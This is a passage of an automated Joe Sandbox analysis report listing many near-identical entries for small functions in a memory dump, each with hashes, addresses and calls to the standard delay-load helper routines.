Associated: 00000009.00000002.1773008826.0000000000D54000.00000002.00000001.01000000.00000010.sdmpDownload File
Associated: 00000009.00000002.1773035878.0000000000D60000.00000004.00000001.01000000.00000010.sdmpDownload File
Associated: 00000009.00000002.1773035878.0000000000D67000.00000004.00000001.01000000.00000010.sdmpDownload File
Associated: 00000009.00000002.1773035878.0000000000D73000.00000004.00000001.01000000.00000010.sdmpDownload File
Associated: 00000009.00000002.1773035878.0000000000D84000.00000004.00000001.01000000.00000010.sdmpDownload File
Associated: 00000009.00000002.1773126393.0000000000D85000.00000002.00000001.01000000.00000010.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_d20000_4.jbxd

Similarity

API ID: AccessDloadExceptionHelper2@8LoadRaiseReleaseSectionWrite___delay
String ID:
API String ID: 1269201914-0
Opcode ID: db5ef0e7811f44717a3f0dbc6ff4422a577d1adad5cc4128d9e6eed2931119a6
Instruction ID: 025b928fdbb55e587e39b406a8bfeaacb7cba4df37e3d90910357c990632a886
Opcode Fuzzy Hash: db5ef0e7811f44717a3f0dbc6ff4422a577d1adad5cc4128d9e6eed2931119a6
Instruction Fuzzy Hash: 5CB012956691067D3644A3143D07F3A121DC4C0B11730403FF840C4144D4804E0A5631

Function 00D3F3A0 Relevance: 1.5, APIs: 1, Instructions: 10COMMON

Download Yara Rule

APIs

___delayLoadHelper2@8.DELAYIMP ref: 00D3F33D

Part of subcall function 00D3F9E9: DloadReleaseSectionWriteAccess.DELAYIMP ref: 00D3FA5C
Part of subcall function 00D3F9E9: RaiseException.KERNEL32(C06D0057,00000000,00000001,?), ref: 00D3FA6D

Memory Dump Source

Source File: 00000009.00000002.1772962722.0000000000D21000.00000020.00000001.01000000.00000010.sdmp, Offset: 00D20000, based on PE: true

Associated: 00000009.00000002.1772935219.0000000000D20000.00000002.00000001.01000000.00000010.sdmpDownload File
Associated: 00000009.00000002.1773008826.0000000000D54000.00000002.00000001.01000000.00000010.sdmpDownload File
Associated: 00000009.00000002.1773035878.0000000000D60000.00000004.00000001.01000000.00000010.sdmpDownload File
Associated: 00000009.00000002.1773035878.0000000000D67000.00000004.00000001.01000000.00000010.sdmpDownload File
Associated: 00000009.00000002.1773035878.0000000000D73000.00000004.00000001.01000000.00000010.sdmpDownload File
Associated: 00000009.00000002.1773035878.0000000000D84000.00000004.00000001.01000000.00000010.sdmpDownload File
Associated: 00000009.00000002.1773126393.0000000000D85000.00000002.00000001.01000000.00000010.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_d20000_4.jbxd

Similarity

API ID: AccessDloadExceptionHelper2@8LoadRaiseReleaseSectionWrite___delay
String ID:
API String ID: 1269201914-0
Opcode ID: 1db2b50d395a470f80713630cbd75697d7a9fddcae9187dd53663e069a3740de
Instruction ID: 42e2f4c7cfd460556dc33d05c3220adcf16fc3413493eafe79e9695a7ff40cc6
Opcode Fuzzy Hash: 1db2b50d395a470f80713630cbd75697d7a9fddcae9187dd53663e069a3740de
Instruction Fuzzy Hash: F0B01281669106BD3644A3543C07F3E131CC4C0F11730843FF845C0240D4404C0D5631

Function 00D3F3AA Relevance: 1.5, APIs: 1, Instructions: 10COMMON

Download Yara Rule

APIs

___delayLoadHelper2@8.DELAYIMP ref: 00D3F33D

Part of subcall function 00D3F9E9: DloadReleaseSectionWriteAccess.DELAYIMP ref: 00D3FA5C
Part of subcall function 00D3F9E9: RaiseException.KERNEL32(C06D0057,00000000,00000001,?), ref: 00D3FA6D

Memory Dump Source

Source File: 00000009.00000002.1772962722.0000000000D21000.00000020.00000001.01000000.00000010.sdmp, Offset: 00D20000, based on PE: true

Associated: 00000009.00000002.1772935219.0000000000D20000.00000002.00000001.01000000.00000010.sdmpDownload File
Associated: 00000009.00000002.1773008826.0000000000D54000.00000002.00000001.01000000.00000010.sdmpDownload File
Associated: 00000009.00000002.1773035878.0000000000D60000.00000004.00000001.01000000.00000010.sdmpDownload File
Associated: 00000009.00000002.1773035878.0000000000D67000.00000004.00000001.01000000.00000010.sdmpDownload File
Associated: 00000009.00000002.1773035878.0000000000D73000.00000004.00000001.01000000.00000010.sdmpDownload File
Associated: 00000009.00000002.1773035878.0000000000D84000.00000004.00000001.01000000.00000010.sdmpDownload File
Associated: 00000009.00000002.1773126393.0000000000D85000.00000002.00000001.01000000.00000010.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_d20000_4.jbxd

Similarity

API ID: AccessDloadExceptionHelper2@8LoadRaiseReleaseSectionWrite___delay
String ID:
API String ID: 1269201914-0
Opcode ID: 80178474ab2f2c38ed87a7474aea30e7622e37406157a65facf8f530be858e4d
Instruction ID: 450b6a62f9843599d230197b96c5a32f205c878aa84adea990f25877171fa5e8
Opcode Fuzzy Hash: 80178474ab2f2c38ed87a7474aea30e7622e37406157a65facf8f530be858e4d
Instruction Fuzzy Hash: 2EB012916691067D3644A3143C07F3E161DC4C0B11730803FFC40C0144D4404D095631

Function 00D3F350 Relevance: 1.5, APIs: 1, Instructions: 10COMMON

Download Yara Rule

APIs

___delayLoadHelper2@8.DELAYIMP ref: 00D3F33D

Part of subcall function 00D3F9E9: DloadReleaseSectionWriteAccess.DELAYIMP ref: 00D3FA5C
Part of subcall function 00D3F9E9: RaiseException.KERNEL32(C06D0057,00000000,00000001,?), ref: 00D3FA6D

Memory Dump Source

Source File: 00000009.00000002.1772962722.0000000000D21000.00000020.00000001.01000000.00000010.sdmp, Offset: 00D20000, based on PE: true

Associated: 00000009.00000002.1772935219.0000000000D20000.00000002.00000001.01000000.00000010.sdmpDownload File
Associated: 00000009.00000002.1773008826.0000000000D54000.00000002.00000001.01000000.00000010.sdmpDownload File
Associated: 00000009.00000002.1773035878.0000000000D60000.00000004.00000001.01000000.00000010.sdmpDownload File
Associated: 00000009.00000002.1773035878.0000000000D67000.00000004.00000001.01000000.00000010.sdmpDownload File
Associated: 00000009.00000002.1773035878.0000000000D73000.00000004.00000001.01000000.00000010.sdmpDownload File
Associated: 00000009.00000002.1773035878.0000000000D84000.00000004.00000001.01000000.00000010.sdmpDownload File
Associated: 00000009.00000002.1773126393.0000000000D85000.00000002.00000001.01000000.00000010.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_d20000_4.jbxd

Similarity

API ID: AccessDloadExceptionHelper2@8LoadRaiseReleaseSectionWrite___delay
String ID:
API String ID: 1269201914-0
Opcode ID: 4883505489cc16c068eee2be8907c581bb9ed915ec8a75798f2d8a993080d676
Instruction ID: 77bb156fd4d6dc29891f03ce07785cc529e1adf11131053a6130981740c7aa02
Opcode Fuzzy Hash: 4883505489cc16c068eee2be8907c581bb9ed915ec8a75798f2d8a993080d676
Instruction Fuzzy Hash: 38B012C16792077D3644A3187C07F3A122CC4D0F11730413FF840C0144D4404C095A31

Function 00D3F35A Relevance: 1.5, APIs: 1, Instructions: 10COMMON

Download Yara Rule

APIs

___delayLoadHelper2@8.DELAYIMP ref: 00D3F33D

Part of subcall function 00D3F9E9: DloadReleaseSectionWriteAccess.DELAYIMP ref: 00D3FA5C
Part of subcall function 00D3F9E9: RaiseException.KERNEL32(C06D0057,00000000,00000001,?), ref: 00D3FA6D

Memory Dump Source

Source File: 00000009.00000002.1772962722.0000000000D21000.00000020.00000001.01000000.00000010.sdmp, Offset: 00D20000, based on PE: true

Associated: 00000009.00000002.1772935219.0000000000D20000.00000002.00000001.01000000.00000010.sdmpDownload File
Associated: 00000009.00000002.1773008826.0000000000D54000.00000002.00000001.01000000.00000010.sdmpDownload File
Associated: 00000009.00000002.1773035878.0000000000D60000.00000004.00000001.01000000.00000010.sdmpDownload File
Associated: 00000009.00000002.1773035878.0000000000D67000.00000004.00000001.01000000.00000010.sdmpDownload File
Associated: 00000009.00000002.1773035878.0000000000D73000.00000004.00000001.01000000.00000010.sdmpDownload File
Associated: 00000009.00000002.1773035878.0000000000D84000.00000004.00000001.01000000.00000010.sdmpDownload File
Associated: 00000009.00000002.1773126393.0000000000D85000.00000002.00000001.01000000.00000010.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_d20000_4.jbxd

Similarity

API ID: AccessDloadExceptionHelper2@8LoadRaiseReleaseSectionWrite___delay
String ID:
API String ID: 1269201914-0
Opcode ID: afaaf68bfdb09b727be27488920aa6ad3d02967e0f3cf19c8694ca2a020dcc4d
Instruction ID: 470cfe8f81c7aba79fa5660a89e05ebb841494e454008f49e4505ff42a01771b
Opcode Fuzzy Hash: afaaf68bfdb09b727be27488920aa6ad3d02967e0f3cf19c8694ca2a020dcc4d
Instruction Fuzzy Hash: 75B012856692067D3644A3143C07F3F165CC4C0B11734803FFC40C0140D4404C095731

Function 00D3F346 Relevance: 1.5, APIs: 1, Instructions: 10COMMON

Download Yara Rule

APIs

___delayLoadHelper2@8.DELAYIMP ref: 00D3F33D

Part of subcall function 00D3F9E9: DloadReleaseSectionWriteAccess.DELAYIMP ref: 00D3FA5C
Part of subcall function 00D3F9E9: RaiseException.KERNEL32(C06D0057,00000000,00000001,?), ref: 00D3FA6D

Memory Dump Source

Source File: 00000009.00000002.1772962722.0000000000D21000.00000020.00000001.01000000.00000010.sdmp, Offset: 00D20000, based on PE: true

Associated: 00000009.00000002.1772935219.0000000000D20000.00000002.00000001.01000000.00000010.sdmpDownload File
Associated: 00000009.00000002.1773008826.0000000000D54000.00000002.00000001.01000000.00000010.sdmpDownload File
Associated: 00000009.00000002.1773035878.0000000000D60000.00000004.00000001.01000000.00000010.sdmpDownload File
Associated: 00000009.00000002.1773035878.0000000000D67000.00000004.00000001.01000000.00000010.sdmpDownload File
Associated: 00000009.00000002.1773035878.0000000000D73000.00000004.00000001.01000000.00000010.sdmpDownload File
Associated: 00000009.00000002.1773035878.0000000000D84000.00000004.00000001.01000000.00000010.sdmpDownload File
Associated: 00000009.00000002.1773126393.0000000000D85000.00000002.00000001.01000000.00000010.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_d20000_4.jbxd

Similarity

API ID: AccessDloadExceptionHelper2@8LoadRaiseReleaseSectionWrite___delay
String ID:
API String ID: 1269201914-0
Opcode ID: 938512a1a487e7b0e0d9c4f35ee1ad1f49e6dd9eeca3cf7a21ae5a0effe8fcbe
Instruction ID: a31ad471fef95d292c63367af0fea01799257376ea79f207be10b8299792bbd8
Opcode Fuzzy Hash: 938512a1a487e7b0e0d9c4f35ee1ad1f49e6dd9eeca3cf7a21ae5a0effe8fcbe
Instruction Fuzzy Hash: 04B012C56691077D3644A3587D07F3A122CC4D0B11730423FF840C4144D4804D0A5631

Function 00D3F378 Relevance: 1.5, APIs: 1, Instructions: 10COMMON

Download Yara Rule

APIs

___delayLoadHelper2@8.DELAYIMP ref: 00D3F33D

Part of subcall function 00D3F9E9: DloadReleaseSectionWriteAccess.DELAYIMP ref: 00D3FA5C
Part of subcall function 00D3F9E9: RaiseException.KERNEL32(C06D0057,00000000,00000001,?), ref: 00D3FA6D

Memory Dump Source

Source File: 00000009.00000002.1772962722.0000000000D21000.00000020.00000001.01000000.00000010.sdmp, Offset: 00D20000, based on PE: true

Associated: 00000009.00000002.1772935219.0000000000D20000.00000002.00000001.01000000.00000010.sdmpDownload File
Associated: 00000009.00000002.1773008826.0000000000D54000.00000002.00000001.01000000.00000010.sdmpDownload File
Associated: 00000009.00000002.1773035878.0000000000D60000.00000004.00000001.01000000.00000010.sdmpDownload File
Associated: 00000009.00000002.1773035878.0000000000D67000.00000004.00000001.01000000.00000010.sdmpDownload File
Associated: 00000009.00000002.1773035878.0000000000D73000.00000004.00000001.01000000.00000010.sdmpDownload File
Associated: 00000009.00000002.1773035878.0000000000D84000.00000004.00000001.01000000.00000010.sdmpDownload File
Associated: 00000009.00000002.1773126393.0000000000D85000.00000002.00000001.01000000.00000010.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_d20000_4.jbxd

Similarity

API ID: AccessDloadExceptionHelper2@8LoadRaiseReleaseSectionWrite___delay
String ID:
API String ID: 1269201914-0
Opcode ID: fc7c6794ec7577dd83d3dbd1f55807de0062830eed5a10b19db7dfb5ecbe7ea6
Instruction ID: 793a46ff29ee687697754296b4f6029315e7eab2f780822cc0e90f2bbdba36b9
Opcode Fuzzy Hash: fc7c6794ec7577dd83d3dbd1f55807de0062830eed5a10b19db7dfb5ecbe7ea6
Instruction Fuzzy Hash: E8B0128566920A7D7644A3143C07F3B125CC4C0F11734403FF840C0140D4404C095731

Function 00D3F364 Relevance: 1.5, APIs: 1, Instructions: 10COMMON

Download Yara Rule

APIs

___delayLoadHelper2@8.DELAYIMP ref: 00D3F33D

Part of subcall function 00D3F9E9: DloadReleaseSectionWriteAccess.DELAYIMP ref: 00D3FA5C
Part of subcall function 00D3F9E9: RaiseException.KERNEL32(C06D0057,00000000,00000001,?), ref: 00D3FA6D

Memory Dump Source

Source File: 00000009.00000002.1772962722.0000000000D21000.00000020.00000001.01000000.00000010.sdmp, Offset: 00D20000, based on PE: true

Associated: 00000009.00000002.1772935219.0000000000D20000.00000002.00000001.01000000.00000010.sdmpDownload File
Associated: 00000009.00000002.1773008826.0000000000D54000.00000002.00000001.01000000.00000010.sdmpDownload File
Associated: 00000009.00000002.1773035878.0000000000D60000.00000004.00000001.01000000.00000010.sdmpDownload File
Associated: 00000009.00000002.1773035878.0000000000D67000.00000004.00000001.01000000.00000010.sdmpDownload File
Associated: 00000009.00000002.1773035878.0000000000D73000.00000004.00000001.01000000.00000010.sdmpDownload File
Associated: 00000009.00000002.1773035878.0000000000D84000.00000004.00000001.01000000.00000010.sdmpDownload File
Associated: 00000009.00000002.1773126393.0000000000D85000.00000002.00000001.01000000.00000010.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_d20000_4.jbxd

Similarity

API ID: AccessDloadExceptionHelper2@8LoadRaiseReleaseSectionWrite___delay
String ID:
API String ID: 1269201914-0
Opcode ID: c62a3c430793301b15fb986daf6c308c1987717844e07ce80979087f0a7dc397
Instruction ID: 3c8c069e6cfad3cd3a786582b23aaf9ef623f5e268ff6e941d5461c9af33bfa0
Opcode Fuzzy Hash: c62a3c430793301b15fb986daf6c308c1987717844e07ce80979087f0a7dc397
Instruction Fuzzy Hash: C1B012856693067D3A84A3143C07F3B129CC4C0B11734413FF840C0140E4404C499731

Function 00D3F32B Relevance: 1.5, APIs: 1, Instructions: 10COMMON

Download Yara Rule

APIs

___delayLoadHelper2@8.DELAYIMP ref: 00D3F33D

Part of subcall function 00D3F9E9: DloadReleaseSectionWriteAccess.DELAYIMP ref: 00D3FA5C
Part of subcall function 00D3F9E9: RaiseException.KERNEL32(C06D0057,00000000,00000001,?), ref: 00D3FA6D

Memory Dump Source

Source File: 00000009.00000002.1772962722.0000000000D21000.00000020.00000001.01000000.00000010.sdmp, Offset: 00D20000, based on PE: true

Associated: 00000009.00000002.1772935219.0000000000D20000.00000002.00000001.01000000.00000010.sdmpDownload File
Associated: 00000009.00000002.1773008826.0000000000D54000.00000002.00000001.01000000.00000010.sdmpDownload File
Associated: 00000009.00000002.1773035878.0000000000D60000.00000004.00000001.01000000.00000010.sdmpDownload File
Associated: 00000009.00000002.1773035878.0000000000D67000.00000004.00000001.01000000.00000010.sdmpDownload File
Associated: 00000009.00000002.1773035878.0000000000D73000.00000004.00000001.01000000.00000010.sdmpDownload File
Associated: 00000009.00000002.1773035878.0000000000D84000.00000004.00000001.01000000.00000010.sdmpDownload File
Associated: 00000009.00000002.1773126393.0000000000D85000.00000002.00000001.01000000.00000010.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_d20000_4.jbxd

Similarity

API ID: AccessDloadExceptionHelper2@8LoadRaiseReleaseSectionWrite___delay
String ID:
API String ID: 1269201914-0
Opcode ID: 209b89d38797e00d69290e3ac630f8e68d208d6b813d75633e4a29bc9f1fe79b
Instruction ID: a04e627f4cba7f39c7c86ca938a39136cc7256d49cf8c3d701c1da5f656ba205
Opcode Fuzzy Hash: 209b89d38797e00d69290e3ac630f8e68d208d6b813d75633e4a29bc9f1fe79b
Instruction Fuzzy Hash: 50B0128166910B7E361463113C0BE3A121CC4D0F11730403FF840C0040E4404C095531

Function 00D3F5A5 Relevance: 1.5, APIs: 1, Instructions: 10COMMON

Download Yara Rule

APIs

___delayLoadHelper2@8.DELAYIMP ref: 00D3F556

Part of subcall function 00D3F9E9: DloadReleaseSectionWriteAccess.DELAYIMP ref: 00D3FA5C
Part of subcall function 00D3F9E9: RaiseException.KERNEL32(C06D0057,00000000,00000001,?), ref: 00D3FA6D

Memory Dump Source

Source File: 00000009.00000002.1772962722.0000000000D21000.00000020.00000001.01000000.00000010.sdmp, Offset: 00D20000, based on PE: true

Associated: 00000009.00000002.1772935219.0000000000D20000.00000002.00000001.01000000.00000010.sdmpDownload File
Associated: 00000009.00000002.1773008826.0000000000D54000.00000002.00000001.01000000.00000010.sdmpDownload File
Associated: 00000009.00000002.1773035878.0000000000D60000.00000004.00000001.01000000.00000010.sdmpDownload File
Associated: 00000009.00000002.1773035878.0000000000D67000.00000004.00000001.01000000.00000010.sdmpDownload File
Associated: 00000009.00000002.1773035878.0000000000D73000.00000004.00000001.01000000.00000010.sdmpDownload File
Associated: 00000009.00000002.1773035878.0000000000D84000.00000004.00000001.01000000.00000010.sdmpDownload File
Associated: 00000009.00000002.1773126393.0000000000D85000.00000002.00000001.01000000.00000010.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_d20000_4.jbxd

Similarity

API ID: AccessDloadExceptionHelper2@8LoadRaiseReleaseSectionWrite___delay
String ID:
API String ID: 1269201914-0
Opcode ID: 0b77860e2dcc4569aac581f3c557fdc457a90f1d0004a6fcf49db544d77bd5c0
Instruction ID: f803fcf31516fa3e239f740c7d7988e338aa1f7d85d85e556d18a5ba78e34ebe
Opcode Fuzzy Hash: 0b77860e2dcc4569aac581f3c557fdc457a90f1d0004a6fcf49db544d77bd5c0
Instruction Fuzzy Hash: FBB012C16F80057F32046314BC13F3A010CC0C4B11730423BF880C1140D8418C081631

Function 00D3F573 Relevance: 1.5, APIs: 1, Instructions: 10COMMON

Download Yara Rule

APIs

___delayLoadHelper2@8.DELAYIMP ref: 00D3F556

Part of subcall function 00D3F9E9: DloadReleaseSectionWriteAccess.DELAYIMP ref: 00D3FA5C
Part of subcall function 00D3F9E9: RaiseException.KERNEL32(C06D0057,00000000,00000001,?), ref: 00D3FA6D

Memory Dump Source

Source File: 00000009.00000002.1772962722.0000000000D21000.00000020.00000001.01000000.00000010.sdmp, Offset: 00D20000, based on PE: true

Associated: 00000009.00000002.1772935219.0000000000D20000.00000002.00000001.01000000.00000010.sdmpDownload File
Associated: 00000009.00000002.1773008826.0000000000D54000.00000002.00000001.01000000.00000010.sdmpDownload File
Associated: 00000009.00000002.1773035878.0000000000D60000.00000004.00000001.01000000.00000010.sdmpDownload File
Associated: 00000009.00000002.1773035878.0000000000D67000.00000004.00000001.01000000.00000010.sdmpDownload File
Associated: 00000009.00000002.1773035878.0000000000D73000.00000004.00000001.01000000.00000010.sdmpDownload File
Associated: 00000009.00000002.1773035878.0000000000D84000.00000004.00000001.01000000.00000010.sdmpDownload File
Associated: 00000009.00000002.1773126393.0000000000D85000.00000002.00000001.01000000.00000010.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_d20000_4.jbxd

Similarity

API ID: AccessDloadExceptionHelper2@8LoadRaiseReleaseSectionWrite___delay
String ID:
API String ID: 1269201914-0
Opcode ID: 1b36767edcf96c97110249277c6914995402aae07e4e791a1929edba623c46fd
Instruction ID: 3904f97a1f4729daadaa12d1f6f14445e57be81c901c506b9e51b9da8d524813
Opcode Fuzzy Hash: 1b36767edcf96c97110249277c6914995402aae07e4e791a1929edba623c46fd
Instruction Fuzzy Hash: C7B012C16E83047F370463147C03E3A018CC4C4B11734413AF880C1140E8408C4C6331

Function 00D3F57D Relevance: 1.5, APIs: 1, Instructions: 10COMMON

Download Yara Rule

APIs

___delayLoadHelper2@8.DELAYIMP ref: 00D3F556

Part of subcall function 00D3F9E9: DloadReleaseSectionWriteAccess.DELAYIMP ref: 00D3FA5C
Part of subcall function 00D3F9E9: RaiseException.KERNEL32(C06D0057,00000000,00000001,?), ref: 00D3FA6D

Memory Dump Source

Source File: 00000009.00000002.1772962722.0000000000D21000.00000020.00000001.01000000.00000010.sdmp, Offset: 00D20000, based on PE: true

Associated: 00000009.00000002.1772935219.0000000000D20000.00000002.00000001.01000000.00000010.sdmpDownload File
Associated: 00000009.00000002.1773008826.0000000000D54000.00000002.00000001.01000000.00000010.sdmpDownload File
Associated: 00000009.00000002.1773035878.0000000000D60000.00000004.00000001.01000000.00000010.sdmpDownload File
Associated: 00000009.00000002.1773035878.0000000000D67000.00000004.00000001.01000000.00000010.sdmpDownload File
Associated: 00000009.00000002.1773035878.0000000000D73000.00000004.00000001.01000000.00000010.sdmpDownload File
Associated: 00000009.00000002.1773035878.0000000000D84000.00000004.00000001.01000000.00000010.sdmpDownload File
Associated: 00000009.00000002.1773126393.0000000000D85000.00000002.00000001.01000000.00000010.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_d20000_4.jbxd

Similarity

API ID: AccessDloadExceptionHelper2@8LoadRaiseReleaseSectionWrite___delay
String ID:
API String ID: 1269201914-0
Opcode ID: 286e2a4150032d9764be67852548d1165e5a1b00bc0aeddc772b8bb3f716b2e6
Instruction ID: 71d4ee1df2221b6fa5d8e2cac609f6bd9a079b5ee8aff75974fee4ebcf3e81c3
Opcode Fuzzy Hash: 286e2a4150032d9764be67852548d1165e5a1b00bc0aeddc772b8bb3f716b2e6
Instruction Fuzzy Hash: 3AB012C16E82087F720463147C13F3A014CC0C4B11734403AF880C1140D8408C081331

Function 00D3F699 Relevance: 1.5, APIs: 1, Instructions: 10COMMON

Download Yara Rule

APIs

___delayLoadHelper2@8.DELAYIMP ref: 00D3F6AB

Part of subcall function 00D3F9E9: DloadReleaseSectionWriteAccess.DELAYIMP ref: 00D3FA5C
Part of subcall function 00D3F9E9: RaiseException.KERNEL32(C06D0057,00000000,00000001,?), ref: 00D3FA6D

Memory Dump Source

Source File: 00000009.00000002.1772962722.0000000000D21000.00000020.00000001.01000000.00000010.sdmp, Offset: 00D20000, based on PE: true

Associated: 00000009.00000002.1772935219.0000000000D20000.00000002.00000001.01000000.00000010.sdmpDownload File
Associated: 00000009.00000002.1773008826.0000000000D54000.00000002.00000001.01000000.00000010.sdmpDownload File
Associated: 00000009.00000002.1773035878.0000000000D60000.00000004.00000001.01000000.00000010.sdmpDownload File
Associated: 00000009.00000002.1773035878.0000000000D67000.00000004.00000001.01000000.00000010.sdmpDownload File
Associated: 00000009.00000002.1773035878.0000000000D73000.00000004.00000001.01000000.00000010.sdmpDownload File
Associated: 00000009.00000002.1773035878.0000000000D84000.00000004.00000001.01000000.00000010.sdmpDownload File
Associated: 00000009.00000002.1773126393.0000000000D85000.00000002.00000001.01000000.00000010.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_d20000_4.jbxd

Similarity

API ID: AccessDloadExceptionHelper2@8LoadRaiseReleaseSectionWrite___delay
String ID:
API String ID: 1269201914-0
Opcode ID: 585507707f0ac4fbec81499ef7a9424cb628fa1905a5f0290e2d8e3ef91b5a4a
Instruction ID: 2415de1d38b370c6f8b7a81e93c6f42dd3dffdbd46c74c4df991b043638c0ff7
Opcode Fuzzy Hash: 585507707f0ac4fbec81499ef7a9424cb628fa1905a5f0290e2d8e3ef91b5a4a
Instruction Fuzzy Hash: 96B012CA6790047D36043310BD03D3A010CC8C0B11730813AFC40D808194424D090631

Function 00D3F6B4 Relevance: 1.5, APIs: 1, Instructions: 10COMMON

Download Yara Rule

APIs

___delayLoadHelper2@8.DELAYIMP ref: 00D3F6AB

Part of subcall function 00D3F9E9: DloadReleaseSectionWriteAccess.DELAYIMP ref: 00D3FA5C
Part of subcall function 00D3F9E9: RaiseException.KERNEL32(C06D0057,00000000,00000001,?), ref: 00D3FA6D

Memory Dump Source

Source File: 00000009.00000002.1772962722.0000000000D21000.00000020.00000001.01000000.00000010.sdmp, Offset: 00D20000, based on PE: true

Associated: 00000009.00000002.1772935219.0000000000D20000.00000002.00000001.01000000.00000010.sdmpDownload File
Associated: 00000009.00000002.1773008826.0000000000D54000.00000002.00000001.01000000.00000010.sdmpDownload File
Associated: 00000009.00000002.1773035878.0000000000D60000.00000004.00000001.01000000.00000010.sdmpDownload File
Associated: 00000009.00000002.1773035878.0000000000D67000.00000004.00000001.01000000.00000010.sdmpDownload File
Associated: 00000009.00000002.1773035878.0000000000D73000.00000004.00000001.01000000.00000010.sdmpDownload File
Associated: 00000009.00000002.1773035878.0000000000D84000.00000004.00000001.01000000.00000010.sdmpDownload File
Associated: 00000009.00000002.1773126393.0000000000D85000.00000002.00000001.01000000.00000010.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_d20000_4.jbxd

Similarity

API ID: AccessDloadExceptionHelper2@8LoadRaiseReleaseSectionWrite___delay
String ID:
API String ID: 1269201914-0
Opcode ID: a169557306cdecbbb2ec4528e4d271a228b052a9f6c81bffefc07249cf0521f2
Instruction ID: 575abe95e7efac4f5158eb10f970d057fb0fcf8b1a23b60c4821baa42c4bd45d
Opcode Fuzzy Hash: a169557306cdecbbb2ec4528e4d271a228b052a9f6c81bffefc07249cf0521f2
Instruction Fuzzy Hash: 6BB012C26781047D374473243C03E3A050CC4C4B11730423AFC40C0284D4414C4C1731

Function 00D3F6BE Relevance: 1.5, APIs: 1, Instructions: 10COMMON

Download Yara Rule

APIs

___delayLoadHelper2@8.DELAYIMP ref: 00D3F6AB

Part of subcall function 00D3F9E9: DloadReleaseSectionWriteAccess.DELAYIMP ref: 00D3FA5C
Part of subcall function 00D3F9E9: RaiseException.KERNEL32(C06D0057,00000000,00000001,?), ref: 00D3FA6D

Memory Dump Source

Source File: 00000009.00000002.1772962722.0000000000D21000.00000020.00000001.01000000.00000010.sdmp, Offset: 00D20000, based on PE: true

Associated: 00000009.00000002.1772935219.0000000000D20000.00000002.00000001.01000000.00000010.sdmpDownload File
Associated: 00000009.00000002.1773008826.0000000000D54000.00000002.00000001.01000000.00000010.sdmpDownload File
Associated: 00000009.00000002.1773035878.0000000000D60000.00000004.00000001.01000000.00000010.sdmpDownload File
Associated: 00000009.00000002.1773035878.0000000000D67000.00000004.00000001.01000000.00000010.sdmpDownload File
Associated: 00000009.00000002.1773035878.0000000000D73000.00000004.00000001.01000000.00000010.sdmpDownload File
Associated: 00000009.00000002.1773035878.0000000000D84000.00000004.00000001.01000000.00000010.sdmpDownload File
Associated: 00000009.00000002.1773126393.0000000000D85000.00000002.00000001.01000000.00000010.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_d20000_4.jbxd

Similarity

API ID: AccessDloadExceptionHelper2@8LoadRaiseReleaseSectionWrite___delay
String ID:
API String ID: 1269201914-0
Opcode ID: 38b1ff0867ea117bee2fc07c92748738a725f4899d609841dc217c461d69f6a6
Instruction ID: 13764c7ca620018ad616a61084a73e346ef99323d877a9b8f2873449ad6e3f1f
Opcode Fuzzy Hash: 38b1ff0867ea117bee2fc07c92748738a725f4899d609841dc217c461d69f6a6
Instruction Fuzzy Hash: FEB012C66780047D364473243D03E3A010CC0C4B11730813AFC40C8184D4414C0D0731

Function 00D3F71F Relevance: 1.5, APIs: 1, Instructions: 10COMMON

Download Yara Rule

APIs

___delayLoadHelper2@8.DELAYIMP ref: 00D3F70C

Part of subcall function 00D3F9E9: DloadReleaseSectionWriteAccess.DELAYIMP ref: 00D3FA5C
Part of subcall function 00D3F9E9: RaiseException.KERNEL32(C06D0057,00000000,00000001,?), ref: 00D3FA6D

Memory Dump Source

Source File: 00000009.00000002.1772962722.0000000000D21000.00000020.00000001.01000000.00000010.sdmp, Offset: 00D20000, based on PE: true

Associated: 00000009.00000002.1772935219.0000000000D20000.00000002.00000001.01000000.00000010.sdmpDownload File
Associated: 00000009.00000002.1773008826.0000000000D54000.00000002.00000001.01000000.00000010.sdmpDownload File
Associated: 00000009.00000002.1773035878.0000000000D60000.00000004.00000001.01000000.00000010.sdmpDownload File
Associated: 00000009.00000002.1773035878.0000000000D67000.00000004.00000001.01000000.00000010.sdmpDownload File
Associated: 00000009.00000002.1773035878.0000000000D73000.00000004.00000001.01000000.00000010.sdmpDownload File
Associated: 00000009.00000002.1773035878.0000000000D84000.00000004.00000001.01000000.00000010.sdmpDownload File
Associated: 00000009.00000002.1773126393.0000000000D85000.00000002.00000001.01000000.00000010.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_d20000_4.jbxd

Similarity

API ID: AccessDloadExceptionHelper2@8LoadRaiseReleaseSectionWrite___delay
String ID:
API String ID: 1269201914-0
Opcode ID: d6f9f6fb6d675aed7bfb42dd5213a054781592971e996b3ef8328dd6e92d0f0d
Instruction ID: 24a8eb2ea4ad75ab2913937a4091cf17d66906e2bd841101f7617631e3545937
Opcode Fuzzy Hash: d6f9f6fb6d675aed7bfb42dd5213a054781592971e996b3ef8328dd6e92d0f0d
Instruction Fuzzy Hash: 96B012C56782067D320467143D47F3A210CC4C0B11730443AF840C4140D4804E490231

Function 00D3F733 Relevance: 1.5, APIs: 1, Instructions: 10COMMON

Download Yara Rule

APIs

___delayLoadHelper2@8.DELAYIMP ref: 00D3F70C

Part of subcall function 00D3F9E9: DloadReleaseSectionWriteAccess.DELAYIMP ref: 00D3FA5C
Part of subcall function 00D3F9E9: RaiseException.KERNEL32(C06D0057,00000000,00000001,?), ref: 00D3FA6D

